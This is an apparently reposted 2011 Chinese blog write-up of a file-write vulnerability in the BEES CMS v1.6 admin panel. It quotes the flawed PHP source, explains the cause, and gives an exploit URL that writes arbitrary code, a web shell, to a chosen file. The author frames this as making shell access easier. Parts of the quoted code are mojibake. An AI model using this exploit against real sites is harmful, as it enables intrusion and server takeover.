BEES 企业网站管理系统 v1.6 后台写 Shell 漏洞
By:风之传说
晚上无聊,然后呢到网上搜了下,无意中搜到此系统,于是就有了以下文章,方便大家以后拿SHELL。呵呵~!顺便和大家一起成长,一起学习。
我会将原程序解释的详细写,以便大家能看到漏洞的形成原因,能更进一步学习。
漏洞文件:/admin/admin_template.php:
define('IN_CMS','true');
include('init.php'); //包含此文件
$action=isset($action)?$action:'template'; //判断
$lang=isset($lang)?$lang:get_lang_main();同上
go_url($action);
.......
.......
.......
function save_template(){
if(!check_purview('tpl_manage')){msg('<span style="color:red">鎿嶄綔澶辫触,浣犵殑鏉冮檺涓嶈冻!</span>');}
global $template,$file; //全局变量两个
$template=stripslashes($template);//还原转义前的字符
$path=CMS_PATH.$file; //路径 BY:风之传说
if(!$fp=@fopen($path,'w+')){err('<span style="color:red"></span>');}
flock($fp,LOCK_EX);//锁定文件,防止别人控制$fp函数写SHELL。但是我们控制的不是此变量。因此可以绕过。
fwrite($fp,$template);//写文件。
flock($fp,LOCK_UN); //解除锁定
fclose($fp); //关闭文件
msg('銆?.$file.'銆戞ā鏉夸慨鏀瑰畬鎴?,'?');
}码 |
然后我们看看:/admin/init.php
/admin/init.php:
include(INC_PATH.'fun.php');
unset($HTTP_ENV_VARS, $HTTP_POST_VARS, $HTTP_GET_VARS, $HTTP_POST_FILES, $HTTP_COOKIE_VARS);
if (!get_magic_quotes_gpc()) //检测是否开启了转义 BY:风之传说
{
if (isset($_REQUEST))
{
$_REQUEST= addsl($_REQUEST); //这个函数是转义的意思。由fun.php定义。
}
$_COOKIE = addsl($_COOKIE);
$_POST = addsl($_POST);
$_GET = addsl($_GET);
} //以上都是转义提交的数据。
@extract($_POST);
@extract($_GET);
@extract($_COOKIE);
include(DATA_PATH.'confing.php'); |
漏洞利用:
http://localhost/admin/admin_template.php?action=save_template&file=fuck.php&template=代码
文章作者
Nuclear'Atk
上次更新
2011-02-21
许可协议
Nuclear'Atk(核攻击)网络安全实验室版权所有,转载请注明出处。